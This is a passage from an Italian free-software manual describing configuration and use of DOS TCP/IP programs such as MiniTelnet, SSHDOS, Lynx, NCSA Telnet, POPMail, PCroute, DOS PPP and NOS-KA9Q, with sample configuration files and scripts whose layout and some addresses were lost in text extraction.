host_da_trovare [servente_dns] I due comandi consentono di interrogare un servente DNS per risolvere un nome in numero e viceversa, oppure per avere maggiori dettagli sulle registrazioni del DNS che riguardano il nodo cercato. Se non viene indicato il servente DNS nella riga di comando, si fa riferimento a quanto indicato nella configurazione, precisamente nel file RESOLV.CNF, che a questo proposito si compila come quello dei sistemi Unix MiniTelnet MiniTelnet 6 è un piccolo programma cliente per il protocollo TELNET, basato sulla libreria WATTCP. Il programma eseguibile corrispondente è MT.EXE, che si usa così: MT host [-Pporta] [-Eemulazione] [-Ktastiera] L emulazione del terminale viene definita con l opzione -E, secondo la tabella: -EVT52 emula un terminale di tipo VT52; 5 ABC-nslookup UCB BSD 6 MiniTelnet software libero con licenza speciale

228 2212 Dos IPv4 -EHeath19 -EVT102 -EVT200 -EANSI emula una variante del terminale VT52; emula un terminale VT102; emula un terminale VT200; emula un terminale ANSI; Per quanto riguarda l emulazione della tastiera, il pacchetto di MiniTelnet include alcuni file di esempio, con estensione.kbd. Per selezionare uno di questi file, si utilizza l opzione -K, seguita dalla radice del nome di questi file. Per esempio, per utilizzare il file VT-AT.KBD, si deve usare l opzione -KVT-AT. Per accedere a un sistema GNU con MiniTelnet, attraverso un vecchio elaboratore con tastiera standard, può essere conveniente l uso della sintassi seguente: MT host -EANSI -KVT-AT In questo modo si seleziona l emulazione ANSI e il file VT-AT.KBD per la tastiera. Tuttavia, il servente TELNET potrebbe non essere in grado di passare l informazione sul tipo di terminale utilizzato alla shell, pertanto conviene impostare manualmente la variabile TERM una volta iniziato il collegamento: $ export TERM=linux L esempio riguarda il caso di un sistema GNU/Linux, dove la voce linux per identificare il tipo di terminale sembra essere la più vicina al funzionamento ottimale SSHDOS SSHDOS 7 è un cliente per il protocollo SSH nelle versioni 1.. Si tratta di un programma che * usa la libreria WATTCP, pertanto non crea problemi di configurazione. Il vero problema, semmai, riguarda la versione del protocollo, dal momento che un servente che offre solo il protocollo 2, non può comunicare con SSHDOS. SSHDOS viene distribuito in due eseguibili differenti, a seconda della disponibilità o meno di una CPU i386. In generale, funziona sempre l eseguibile SSHDOS.EXE, anche se è molto lento: SSHDOS [opzioni] utente host [comando] In condizioni normali, non si usano le opzioni e nemmeno il comando da eseguire nell elaboratore remoto; in questo modo viene chiesto di inserire la parola d ordine, dopo la quale si ottiene di interagire con la shell. Eventualmente, per ottenere l elenco delle opzioni disponibili, è sufficiente avviare l eseguibile senza argomenti. In condizioni normali, senza opzioni, SSHDOS funziona emulando il comportamento di un terminale di tipo xterm ; generalmente non è necessario cambiare questa impostazione con le opzioni Bobcat (Lynx) Bobcat è una raccolta di applicativi, organizzata attorno a una versione di Lynx 8 per Dos. Le licenze dei vari applicativi inseriti sono varie; tuttavia, il pacchetto più importante è proprio Lynx, che può funzionare anche da solo, per accedere ai servizi HTTP comuni. Bobcat è ottenibile dall indirizzo < Eventualmente si può fare una ricerca con < 7 SSHDOS GNU GPL 8 Lynx GNU GPL

229 Dos IPv Di tutti i file che compongono il pacchetto, sono sufficienti il programma LYNX.EXE e il file LYNX.CFG. Il secondo è il file di configurazione, in cui è bene definire la collocazione di alcuni file HTML (con estensione.htm ), che vengono usati quando si richiede la guida, altre informazioni e per accumulare eventualmente lo storico degli indirizzi richiesti. Inoltre, questa edizione di Lynx utilizza la libreria WATTCP, pertanto il programma si aspetta di trovare il file di configurazione WATTCP.CFG nella directory corrente PPRD: servente di rete per la stampa PPRD 9 è una piccola raccolta di programmi per la gestione di un servente di stampa secondo lo stile del demone lpd. Nelle situazioni in cui il sistema riesce a funzionare, permette di riutilizzare un vecchio PC, anche un XT, per questo scopo. Può essere ottenuto presso Simtel.Net all indirizzo <ftp://ftp.simtel.net/pub/simtelnet/msdos/lan/pprd200.zip>. PPRD si avvale della libreria WATTCP, pertanto può condividere la configurazione con altri programmi simili. In particolare, nel file di configurazione WATTCP.CFG si deve specificare la dimensione della memoria tampone (buffer) di trasmissione e ricezione. TXBUFSIZE=8192 RXBUFSIZE=8192 Il programma eseguibile che svolge il lavoro è PPRD.EXE, che viene avviato normalmente senza l indicazione di alcuna opzione, purché il file WATTCP.CFG sia stato predisposto correttamente e collocato nella directory corrente: PPRD [opzioni] Salvo una diversa configurazione, il programma offre la stampante (o le stampanti) con un nome corrispondente a quello usato dal Dos per identificare il dispositivo: lpt1, lpt2,... Nell elaboratore con un sistema GNU dal quale si vogliono inviare le stampe occorre sistemare il file /etc/printcap in modo adeguato. Quello che segue è un esempio in cui: 1. la stampante predefinita punta direttamente alla stampante remota, il cui nome è lpt1 ; 2. la stampante ps utilizza un filtro che trasforma un documento PostScript in un file adatto alla stampante remota e poi lo ridirige alla stampante predefinita; 3. la stampante tx utilizza un filtro che trasforma un file di testo in stile Unix in un file di testo in stile Dos e poi lo ridirige alla stampante predefinita. #====================================================================== # /etc/printcap #====================================================================== lp:\ :lp=:\ :sd=/var/spool/lpd/lp:\ :rm= :\ :rp=lpt1:\ :mx#0:\ :sf:\ :sh: # ps:\ :lp=/dev/null:\ 9 PPRD software non libero: licenza Artistic

230 2214 Dos IPv4 # tx:\ :sd=/var/spool/lpd/postscript:\ :lf=/var/spool/lpd/postscript/log:\ :if=/var/spool/lpd/postscript/input-filter:\ :sh:\ :sf:\ :mx#0: :lp=/dev/null:\ :sd=/var/spool/lpd/text:\ :lf=/var/spool/lpd/text/log:\ :if=/var/spool/lpd/text/input-filter:\ :sh:\ :sf:\ :mx#0: Segue lo script usato come filtro di input per la stampa in PostScript. Lo script riceve i dati dallo standard input e attraverso Ghostscript lo trasforma in un file adatto per la stampa su una stampante a nove aghi tipo IBM-EPSON e dirige l output verso la stampante predefinita, cioè quella remota. 10 #!/bin/sh /bin/grep -v (%% /usr/bin/gs -q -dnopause -spapersize=letter \ -sdevice=eps9high -soutputfile=- - /usr/bin/lpr Segue lo script usato come filtro di input per la stampa dei file di testo. Lo script riceve i dati dallo standard input e attraverso il programma unix2dos lo trasforma in un file di testo in cui ogni riga è terminata dalla sequenza <CR><LF> come richiesto dalle stampanti normali. L output viene quindi diretto verso la stampante predefinita, cioè quella remota. #!/bin/sh /bin/cat /usr/bin/unix2dos /usr/bin/lpr Se poi unix2dos non si comporta come previsto, si può realizzare un programma Perl: #!/usr/bin/perl # # filtro-crlf.pl < <file-input> > <file-output> $riga = ""; while ($riga = <STDIN>) { # # Elimina il codice di interruzione di riga finale. # chomp ($riga); # # Emette la riga con l aggiunta di <CR> e <LF>. # print STDOUT ("$riga\r\n"); }; Trout Trout 11 è una versione Dos del noto Traceroute per sistemi Unix, che utilizza la libreria WATTCP; l eseguibile che svolge il lavoro è TROUT.EXE. Per ottenere il pacchetto, si può fare una ricerca per i file trtb01b.zip o trt-e01.exe. 10 Si suppone di usare carta a modulo continuo, pertanto viene indicato il formato lettera (11 in). 11 Trout software gratuito senza sorgenti

231 Dos IPv Talk Talk 12 è una versione Dos del noto programma con lo stesso nome per i sistemi Unix (capitolo 142). Questa versione per Dos utilizza la libreria WATTCP e l eseguibile che svolge il lavoro è TALK.EXE. Il pacchetto può essere recuperato presso l indirizzo < talk-13.zip>. L eseguibile TALK.EXE si comporta simultaneamente da servente e da cliente: TALK [opzioni] [terminale]] Se non si indica l utente e il nodo da contattare, si avvia il programma in attesa di chiamate, a cui verrà data risposta, qualunque sia il nominativo utente che viene richiesto. Le opzioni disponibili sono poche; in particolare, -l consente di avere una registrazione della comunicazione in un file ( TALK.LOG ), mentre -o consente di richiedere l uso di un protocollo più vecchio. Durante il funzionamento, è possibile usare il tasto [ F1 ] per ottenere una guida rapida all uso dei comandi da tastiera; in particolare, la combinazione [ Alt+s ], consente di cambiare la modalità visiva della comunicazione (a schermo unico o a schermo diviso). La configurazione con il file WATTCP.CFG prevede l aggiunta di direttive specifiche, che comunque non sono indispensabili DosLynx DosLynx 13 è un programma di navigazione a caratteri, ma relativamente completo, da utilizzare insieme a un driver di pacchetto per il TCP/IP (non fa uso della libreria WATTCP, pertanto ha una configurazione indipendente). Può essere ottenuto presso la sua origine, University of Kansas, all indirizzo <ftp://ftp2.cc.ukans.edu/pub/www/doslynx/>. Per quanto possibile, questo applicativo è molto accurato, per esempio permette l uso del mouse. L eseguibile è precisamente DOSLYNX.EXE che si avvia senza l indicazione di argomenti particolari; ma prima di poter essere utilizzato occorre predisporre il file DOSLYNX.CFG. 12 Talk GNU GPL 13 DosLynx software didattico, non libero

232 2216 Dos IPv4 Figura La guida interna di DosLynx. DosLynx permette anche l invio di messaggi di posta elettronica, ma non la loro ricezione o lettura. La configurazione di DosLynx avviene attraverso il file DOSLYNX.CFG, collocato nella directory corrente nel momento in cui si avvia il programma. In questo file, per prima cosa deve essere definito l indirizzo IP e la maschera di rete (netmask). my_ip= netmask= Quindi occorre indicare l indirizzo del router (gateway) e del servente DNS anche se in realtà possono non esistere nella rete locale che si utilizza. gateway= nameserver= Viene specificato quindi il dominio e il nome dell elaboratore locale. domainslist="brot.dg" hostname=dos Per il resto, questo file di configurazione viene già fornito con un esempio molto ben commentato. Vale comunque la pena di indicare: l attivazione del collegamento con l esterno; il proprio indirizzo di posta elettronica, che viene utilizzato come mittente per i messaggi inviati; l indicazione dell elaboratore a cui fare riferimento per l inoltro dei messaggi di posta elettronica inviati, attraverso il protocollo SMTP; l indicazione dell elaboratore a cui fare riferimento per l accesso a NNTP (news).

233 Dos IPv networked=yes smtphost= nntphost= NCSA Telnet NCSA Telnet 14 è una piccola raccolta di programmi da utilizzare insieme a un driver di pacchetto per il TCP/IP (si tratta di programmi autonomi dalla libreria WATTCP). Può essere ottenuta presso Simtel.Net all indirizzo <ftp://ftp.simtel.net/pub/simtelnet/msdos/ncsatlnt/>. Nelle sezioni seguenti vengono descritti solo alcuni dei programmi di questa raccolta. Prima di poterli utilizzare occorre predisporre il file CONFIG.TEL. L ultima versione di questa raccolta dovrebbe essere la che però sembra avere qualche problema, in particolare non può essere utilizzata quando si abilita il Path MTU discovery durante la compilazione del kernel Linux. La versione (precedente) dovrebbe essere esente da questo difetto. Inoltre, alcune versioni precedenti alla , compresa la , contengono più programmi di servizio accessori, come un programma per il ping e uno per il tracciamento dell instradamento. Per trovare la versione si può utilizzare < effettuando una ricerca per il file tel23074.zip. In alternativa si può visitare anche <ftp://ftp.is.co.za/networking/pc/> che contiene altri programmi per la connessione attraverso PC File CONFIG.TEL CONFIG.TEL è un file di testo contenente l indicazione della configurazione del gruppetto di programmi che compongono il pacchetto Telnet NCSA. Per prima cosa deve essere definito l indirizzo IP e la maschera di rete (netmask). myip= netmask= Quindi occorre definire le caratteristiche del driver di pacchetto utilizzato, che a loro volta dipendono dal tipo di scheda di rete. L esempio seguente riguarda il caso del driver di pacchetto Crynwr per la scheda NE2000 ( NE2000.COM 0x7e 0x0b 0x300 ). Occorre fare attenzione alla voce ioaddr= che non si riferisce a un indirizzo di I/O, ma all IRQ software del driver di pacchetto. hardware=packet interrupt=11 ioaddr=0x7e Seguono una serie di altre informazioni, in particolare sono interessanti le seguenti. myname=dos.brot.dg termtype="vt100" keyfile=".\keymap.tel" services=".\services.tel" ftp=yes ftpwrt=yes passfile=".\password.tel" Quindi vengono richieste le informazioni sui nodi che possono essere contattati. Vengono inizialmente indicate delle caratteristiche generali predefinite, quindi i dati particolari di nodi determinati. 14 NCSA Telnet dominio pubblico

234 2218 Dos IPv4 name=default # Seguono una serie di caratteristiche predefinite #... # Inizia la definizione dell elaboratore «dinkel.brot.dg» name=dinkel.brot.dg hostip= gateway=0 # Non è un router nameserver=1 # È un Name Server # Inizia la definizione dell alias «dinkel» name=dinkel copyfrom=dinkel.brot.dg File KEYFILE.TEL All interno del file CONFIG.TEL, con la voce keyfile=, viene dichiarato il nome e la collocazione di un file di configurazione della tastiera. Lo scopo di questo file è definire una corrispondenza tra tasti premuti e segnali inviati. Telnet NCSA fornisce già questo file e ha il nome KEYFILE.TEL. Per poter conoscere i codici a cui corrispondono i tasti della propria tastiera, si può utilizzare il programma SCANCHEK.EXE. In generale, non conviene modificare il file originale, piuttosto, è meglio tentare diversi tipi di configurazione di terminale assegnando un valore opportuno alla variabile di ambiente TERM di GNU/Linux o alla voce termtype= del file CONFIG.TEL. si possono provare, in particolare, i valori vt100 e vt File PASSWORD.TEL Il programma TELBIN.EXE può funzionare anche come un semplice servente FTP per accessi singoli. 15 Per questo, è necessario definire un file contenente informazioni sugli utenti e sui loro permessi di accesso. Il nome e la posizione di questo file viene definito all interno di CONFIG.TEL, con la voce passfile= e di solito si tratta di PASSWORD.TEL. Per crearlo o modificarlo, conviene utilizzare il programma TELPASS.EXE, per esempio nel modo seguente. Il programma stesso suggerisce le operazioni da compiere. C:\NCSATELN> telpass password.tel File SERVICES.TEL SERVICES.TEL è il file dei servizi di rete ed è analogo al file /etc/services (113.2). Viene già fornito configurato correttamente File TELBIN.EXE TELBIN [host] Il programma TELBIN.EXE è il più importante di questo gruppo, essendo quello che permette di attivare una connessione TELNET con un elaboratore GNU/Linux o un altro Unix. Se il programma non riesce a connettersi con l elaboratore indicato come argomento, o se questo non viene indicato, si avvia come servente FTP e accetta una sola connessione alla volta. 15 Non è il caso di fare affidamento su questa funzionalità di TELBIN.EXE perché non è perfettamente funzionante.

235 Dos IPv Quando si vuole utilizzare TELBIN.EXE come servente FTP occorre predisporre il file degli utenti, che solitamente è PASSWORD.TEL File FTPBIN.EXE FTPBIN [host] FTPBIN.EXE è il secondo programma come importanza. Si tratta di un semplice cliente FTP abbastanza funzionante. I comandi che mette a disposizione sono i soliti per questo tipo di programma; per ottenere aiuto si può utilizzare il punto interrogativo (? ) File FINGER.EXE FINGER [utente]@host Il programma FINGER.EXE permette di ottenere informazioni sugli utenti connessi in un elaboratore determinato. Il risultato di questa interrogazione è analogo a quello del suo omonimo negli ambienti Unix POPMail POPMail 16 è un ottimo programma per la gestione della posta elettronica attraverso la connessione con un servizio POP2 o POP3. Può essere ottenuto presso Simtel.Net all indirizzo <ftp:// ftp.simtel.net/pub/simtelnet/msdos/pktdrvr/popml322.zip>. La configurazione viene fatta attraverso il programma stesso e non richiede la preparazione di alcun file. Figura La composizione di un messaggio di posta elettronica attraverso POPMail. POPMail si compone di un solo eseguibile monolitico: POPMAIL.EXE. Tutte le sue funzionalità 16 POPMail software gratuito non modificabile e senza sorgenti

236 2220 Dos IPv4 sono incorporate in questo, compresa la configurazione. Appena si avvia il programma si ottiene un interfaccia amichevole che permette l uso del mouse Menù «Setup» La configurazione del programma si definisce attraverso le funzioni del menù Setup. In particolare è importante la voce Network, attraverso cui si accede a una maschera per la definizione degli indirizzi e dei nomi utilizzati. In questa fase, è importante stabilire il tipo di protocollo che si intende utilizzare. Questo lo si fa attraverso l indicazione della porta di comunicazione. Quella predefinita è 109 corrispondente a POP2, altrimenti si può utilizzare la porta 110 in modo da collegarsi a un servizio POP3. Figura La finestra principale della configurazione di POPMail. Si può osservare che il nodo da specificare alla voce Host Computer è quello che fornisce il servizio SMTP, mentre subito sotto è richiesto l indirizzo dell elaboratore locale. Figura Selezionando il pulsante AD V A N C E D dalla finestra principale di configurazione, si ottiene questa finestra di informazioni aggiuntive. La selezione del tipo di protocollo dipende dal numero di porta selezionato. In questo caso, essendo il numero 110, si utilizza il protocollo POP3.

237 Dos IPv Menù «Window» Una volta definita la configurazione, si può iniziare a utilizzare il programma per ricevere e spedire posta. Esistono tre finestre: una per la composizione dei messaggi, un altra per la loro lettura e l ultima per le operazioni di «taglia-copia-incolla». Per passare da una finestra all altra, occorre richiamare questo menù Menù «=» Il menù dell applicazione, quello precedente a File, permette di accedere a funzionalità aggiuntive e molto utili. Si può utilizzare una sessione TELNET in una finestra, si può ottenere la risoluzione di indirizzi IP e si può eseguire il ping. Figura Una sessione TELNET attraverso POPMail. Figura La presenza di una funzione di ping completa l applicativo POPMail.

238 2222 Dos IPv PCroute PCroute permette di trasformare un vecchio PC (i286 o inferiore) in un router IPv4. Può essere ottenuto presso Simtel.Net all indirizzo <ftp://ftp.simtel.net/pub/simtelnet/msdos/network/pcrte224.zip>. Nell archivio che viene distribuito, è presente il sorgente e diverse versioni compilate, per l uso delle schede di rete più comuni nel passato. Tra queste versioni già pronte ne esiste una in grado di utilizzare i driver di pacchetto descritti all inizio di questo capitolo. Gli esempi che verranno mostrati qui si riferiscono all utilizzo dei driver di pacchetto Configurazione dei driver di pacchetto Se si decide di utilizzare la versione già compilata per i driver di pacchetto, cioè PKTPKT.EXE, è necessario prima configurare i driver di pacchetto, poi si può pensare alla configurazione di PCroute. La versione precompilata, PKTPKT.EXE, prevede l utilizzo di due indirizzi di interruzione (interrupt) software per comunicare con i driver di pacchetto, e 61 16, dove il primo si riferisce alla prima interfaccia e l altro alla seconda. Supponendo di disporre di schede di rete compatibili NE2000, che utilizzino rispettivamente le risorse IRQ 10 e I/O , IRQ 11 e I/O , la configurazione dei driver di pacchetto dovrebbe essere la seguente: ne2000 0x60 0x0a 0x280 ne2000 0x61 0x0b 0x Configurazione di PCroute Per fare funzionare PCroute è necessario l eseguibile PCROUTE.EXE ; nel caso di utilizzo dei driver di pacchetto, si tratta di PKTPKT.EXE. Inoltre serve anche CONFIG.EXE, per generare il file di configurazione di PCroute. Si suppone che la prima scheda sia inserita nella rete e che abbia l indirizzo ; inoltre si suppone che la seconda sia nella rete con l indirizzo Non si prevede la necessità di indicare altri instradamenti per mezzo di altri router. C:\PCROUTE> CONFIG[ Invio ] This program creates/edits the pcroute.cfg file Inizia una configurazione interattiva, a cominciare dalle indicazioni riferite alla prima interfaccia, cioè quella collegata al driver di pacchetto attraverso l indirizzo IRQ Configuring an interface Address for the interface [ ]? [ Invio ] Subnet mask for the interface [ ]? [ Invio ] Flag Meanings (if set) Bit 0 (1h) - Don t send routing updates out this interface Bit 1 (2h) - Don t listen to routing updates from this interface Bit 2 (4h) - Proxy Arp for all subnets Bit 3 (8h) - Turn off directed broadcasts Bit 4 (10h) - Turn off the issuing of ICMP redirects Bit 5 (20h) - Broadcast using old (0 s) format Flags (HEX) for the interface [0H]? 0H[ Invio ]

239 Dos IPv Routing Metric (HEX) for the interface [1H]? 1H[ Invio ] A questo punto si passa alla configurazione della seconda interfaccia, cioè quella collegata al driver di pacchetto attraverso l indirizzo IRQ Configuring an interface Address for the interface [ ]? [ Invio ] Subnet mask for the interface [ ]? [ Invio ] Flag Meanings (if set) Bit 0 (1h) - Don t send routing updates out this interface Bit 1 (2h) - Don t listen to routing updates from this interface Bit 2 (4h) - Proxy Arp for all subnets Bit 3 (8h) - Turn off directed broadcasts Bit 4 (10h) - Turn off the issuing of ICMP redirects Bit 5 (20h) - Broadcast using old (0 s) format Flags (HEX) for the interface [0H]? 0H[ Invio ] Routing Metric (HEX) for the interface [1H]? 1H[ Invio ] Gli instradamenti sulle reti cui sono connesse le interfacce vengono definiti in modo automatico. Si decide di non indicare altri instradamenti particolari. If you wish to configure static routes do so here. To stop type a. Flag Meanings (if set) Bit 0 (1h) - Local route, do not propagate it Bit 1 (2h) - Transient route, subject to RIP protocol Network [ ]?.[ Invio ] Da questo punto non si seleziona alcuna opzione particolare. If you wish to forward bootp packets please enter the address of the address to forward it to. This address can be a directed broadcast means don t forward Address to forward bootp packets [ ]? [ Invio ] Once PCroute boots up, it sends all log messages to a network host running a BSD UNIX syslogd daemon. To disable logging enter Host to send loging info to [ ]? [ Invio ] Mask Meanings (0 = Log, 1 = Don t log) Bit 0 (1h) - System Bit 1 (2h) - Routing Bit 2 (4h) - Monitor Bit 3 (8h) - Localtalk Logging mask for this router [0H]? 0H[ Invio ] There are 8 routing levels supported 0 - Emergency 1 - Alert 2 - Critical 3 - Error 4 - Warning 5 - Notice 6 - info 7 - Debug Only messages with a level less than the logging level are sent Logging level [0H]? 0H[ Invio ] A questo punto la configurazione termina e ne viene generato il file PCROUTE.CFG.

240 2224 Dos IPv Conclusione PCroute, per funzionare richiede solo l avvio dell eseguibile ( PCROUTE.EXE ), che ha la necessità di trovare il file PCROUTE.CFG nella directory corrente. Dopo l avvio, l elaboratore risulta bloccato, essendo destinato esclusivamente alla funzione di instradamento. La documentazione di PCroute spiega meglio come gestire le varie opzioni, che nell esempio sono state evitate semplicemente, descrivendo anche come sfruttare la possibilità di tenere sotto controllo il funzionamento di PCroute attraverso il registro di sistema di un elaboratore come GNU/Linux Riferimenti Erick Engelke, WATTCP < Smash-Co Communications, TCP/IP for MS-DOS < The U-M Software Archive < < Arachne labs < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

241 Dos PPP Capitolo 204 Per realizzare una connessione PPP con un sistema Dos, è necessario un driver di pacchetto speciale, più o meno derivato dal demone pppd tradizionale dei sistemi Unix. Dal momento che di solito si usa una connessione PPP attraverso un modem e una linea commutata, è necessario anche un programma analogo a chat per attivare il modem e per superare la procedura iniziale. Esistono diversi programmi per Dos in grado di gestire in qualche modo il protocollo PPP, ma sembra essere solo la realizzazione DOS PPP 1 ad avere il pregio di essere semplice e compatibile con i driver di pacchetto Ethernet. L archivio contenente DOS PPP dovrebbe essere accessibile dall indirizzo <ftp://ftp.simtel.net/pub/ simtelnet/msdos/pktdrvr/dosppp05.zip> Composizione Il pacchetto di distribuzione di DOS PPP si compone di alcuni programmi, dove i più importanti sono: EPPPD.EXE il programma residente in memoria che svolge il ruolo del demone PPP tradizionale, emulando una scheda Ethernet; CHAT.EXE il programma utilizzato attraverso EPPPD.EXE per comandare il modem. Questi due programmi emulano il più possibile i loro progenitori per Unix: pppd e chat, tenendo conto di alcuni aggiustamenti dovuti alle carenze del Dos Configurazione e script La configurazione di DOS PPP segue idealmente quella del demone Unix, con la differenza che i file hanno nomi e collocazioni differenti. Considerando che si tratta di sistemi Dos, si possono anche semplificare un po le cose, come descritto nel seguito. Il file PPPD.CFG, collocato nella stessa directory in cui si trova l eseguibile EPPPD.EXE, oppure nella directory corrente, rappresenta in pratica quello che tradizionalmente è il file /etc/ppp/options. Naturalmente, si possono usare anche opzioni della riga di comando, che prendono il sopravvento sulle opzioni fissate con il file di configurazione. I file PPPDCOMn.CFG, collocati nella directory corrente, permettono di indicare opzioni specifiche per ogni porta seriale: PPPDCOM1.CFG per COM1:, PPPDCOM2.CFG per COM2:, ecc. In questo modo si emulano i file di configurazione /etc/ppp/options/ options.tty * tradizionali nei sistemi Unix. Dai file di configurazione è esclusa la presenza di qualcosa che serva per contenere i segreti PAP e CHAP. Per queste informazioni sono state aggiunte delle opzioni da inserire nei file di configurazione normali. 1 DOS PPP software non libero: non è consentita la modifica e nemmeno la commercializzazione 2225

242 2226 Dos PPP Dal momento che non c è un modo migliore per fare sapere quali sono le caratteristiche IP della connessione che si instaura, viene generato automaticamente lo script IP-UP.BAT, il cui unico scopo è quello di inizializzare alcune variabili di ambiente: SET MYIP=indirizzo_ip_locale SET REMIP=indirizzo_ip_della_controparte SET NETMASK=maschera_di_rete SET PEERMRU=valore_MRU_della_controparte Questo dovrebbe facilitare la realizzazione di un altro script che generi al volo i file di configurazione degli applicativi che si intendono usare. Per esempio, volendo realizzare il file di configurazione WATTCP.CFG per i programmi che incorporano la libreria WATTCP, si potrebbe procedere come si vede nell esempio seguente: CALL IP-UP.bat ECHO MY_IP=%MYIP% > WATTCP.CFG ECHO GATEWAY=%REMIP% >> WATTCP.CFG ECHO NETMASK=%NETMASK% >> WATTCP.CFG ECHO NAMESERVER= >> WATTCP.CFG ECHO MSS=512 >> WATTCP.CFG Si può osservare che lo script, oltre a tradurre le variabili di ambiente in direttive del file WATTCP.CFG, aggiunge anche le direttive necessarie per definire il servente e per definire la dimensione massima dei segmenti di pacchetto. Su CHAT.EXE non c è nulla di speciale, tranne il fatto che questo programma non può funzionare da solo, ma deve trovarsi sotto il controllo di EPPPD.EXE. Le opzioni sono molto simili alla versione originale per i sistemi Unix. In generale vale la pena di utilizzare l opzione -v per vedere cosa succede durante l avvio della connessione Opzioni particolari per il PPP Il programma EPPPD.EXE accetta la maggior parte delle opzioni delle vecchie edizioni di pppd per i sistemi Unix. Per verificare quali sono le opzioni disponibili basta leggere la documentazione allegata, che riproduce la pagina di manuale relativa. user utente passwd parola_d ordine DOS PPP è in grado di gestire esclusivamente l autenticazione PAP, ma senza l ausilio di un file dei segreti. In pratica, si fa uso delle opzioni user e passwd, con le quali si fornisce il nominativo utente e la parola d ordine, senza altre specifiche. pktvec irq Dal momento che si tratta di driver di pacchetto, DOS PPP si avvale di un IRQ software che può essere scelto esplicitamente, oppure può essere definito automaticamente dal programma. L opzione pktvec permette di fissare il valore di tale IRQ, assegnando valori esadecimali nella forma 0xnn. Il valore predefinito usuale è

243 Dos PPP Connessione in pratica Si suppone di avere la possibilità di collegarsi a un servizio di accesso a Internet che ha le caratteristiche seguenti: telefono ; utenza tizio ; parola d ordine asdfghjk ; indirizzo IP del DNS primario Inoltre, si utilizza la prima porta seriale, ovvero COM1:, che viene configurata per una velocità di bit/s. Si realizza il file PPPD.CFG con il contenuto seguente: com user tizio passwd asdfghjk connect "chat -v ATZ OK ATX3 OK ATDT CONNECT " In questo modo, quando si avvia EPPPD.EXE, questo avvia prima CHAT.EXE in modo da inizializzare il modem, comporre il numero telefonico e attendere la connessione; successivamente, l autenticazione avviene attraverso il protocollo PAP. Si può osservare l opzione -v di CHAT.EXE, che serve per vedere i messaggi scambiati tra questo programma e il modem, durante le operazioni. La conoscenza di questi dettagli serve per correggere eventualmente la stringa, in base al comportamento effettivo del modem. 2 Una volta instaurata la connessione, EPPPD.EXE crea il file IP-UP.BAT, che può essere sfruttato come è già stato visto in precedenza da un altro script che generi i file di configurazione necessari agli altri applicativi, specificando così anche il DNS primario e la dimensione massima del segmento (MSS). L esempio seguente mostra uno script necessario a generare un file di configurazione per gli applicativi che usano la libreria WATTCP: CALL IP-UP.bat ECHO MY_IP=%MYIP% > WATTCP.CFG ECHO GATEWAY=%REMIP% >> WATTCP.CFG ECHO NETMASK=%NETMASK% >> WATTCP.CFG ECHO NAMESERVER= >> WATTCP.CFG ECHO MSS=512 >> WATTCP.CFG Per concludere la connessione, si usa il programma TERMIN.COM, che viene distribuito anche assieme a DOS PPP, ma per questo occorre conoscere l indirizzo IRQ software utilizzato da EPPPD.EXE. Per esempio, se si tratta dell indirizzo IRQ (quello predefinito), basta procedere come segue: C:>TERMIN 0x60 Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org 2 Naturalmente, nello stesso modo si potrebbe realizzare un accesso di tipo tradizionale, in cui sia CHAT.EXE a inviare il nominativo utente e la parola d ordine. Tuttavia, è sempre meno probabile che un fornitore di accesso a Internet utilizzi ancora tale vecchia procedura.

244 Introduzione a NOS-KA9Q -- IPv4 per Dos Capitolo 205 NOS 1 è una sorta di sistema operativo per le reti IPv4 nato per soddisfare le esigenze dei radioamatori. Se si considerano l età e il fatto che funziona perfettamente su un sistema operativo Dos, si tratta di un applicativo eccezionale quando si dispone di hardware molto vecchio. La sigla KA9Q è il nominativo da radioamatore dell autore originale di questo programma, Phil Karn, ma spesso si fa riferimento a questo software indifferentemente con le sigle KA9Q, NOS o qualcosa che termina per * NOS.2 Esistono diverse interpretazioni del sistema NOS-KA9Q; probabilmente il riferimento migliore per ottenere il materiale necessario è il deposito Simtel.Net, che ospita una directory apposita per questo: <ftp://ftp.simtel.net/pub/simtelnet/msdos/tcpip/>. In particolare è necessario prelevare il file contenente l eseguibile NET.EXE, che potrebbe avere un nome simile a e zip (dove il numero corrisponde alla data ed eventualmente potrebbe essere sostituito da una versione più recente) e poi conviene prelevare altri file per ottenere della documentazione: intronos.zip, ka9qbgn.zip e nos_slfp.zip (questo ultimo file può essere utile soprattutto per vedere come potrebbe essere effettuata una connessione PPP attraverso la porta seriale e il modem). La versione , corrispondente al file e zip, è adatta ad architetture i86 di qualunque tipo (dal 8088 in su). Probabilmente ciò vale anche per qualche versione più recente, ma si deve fare attenzione: la versione è fatta per i386 o superiori. Se non si riesce a trovare una versione del programma NET.EXE abbastanza vecchia, si può provare a usare quella contenuta nel pacchetto nos_slfp.zip. In questo capitolo si fa riferimento a una versione di NOS per architetture modeste (i286 o inferiori). NOS, una volta avviato, prende il controllo del sistema e i comandi che si impartiscono sono interpretati da questo, senza passare per il Dos sottostante. Anche per questa ragione si introduce l uso di NOS in un capitolo separato, rispetto a quello già dedicato agli applicativi Dos (capitolo 203). Qui si mostrano le caratteristiche «normali» di NOS, nel senso che di questo sistema di rete sono state realizzate un infinità di varianti. Evidentemente, il NOS che si può trovare può corrispondere o meno alle caratteristiche che vengono descritte qui. Se il pacchetto NOS che si trova contiene qualche file di documentazione, conviene leggerlo per verificare che tutto corrisponda a quanto previsto Preparazione Anche se non si intendono sfruttare a fondo tutte le possibilità di NOS, conviene creare tutte le directory previste da questo mini sistema di rete. Se non si vuole fare fatica nella configurazione, conviene predisporre quelle seguenti, che riguardano le versioni «normali» di NOS: C:\SPOOL C:\SPOOL\HELP C:\SPOOL\MAIL C:\SPOOL\MQUEUE C:\SPOOL\RQUEUE C:\SPOOL\NEWS 1 NOS dominio pubblico 2 NOS è disponibile in varie versioni per diversi sistemi operativi: PMNOS per Presentation Manager (OS/2), Amiga- NOS per Amiga e TNOS per GNU/Linux! L attenzione di questo capitolo è comunque rivolta alle versioni di NOS per Dos. 2228

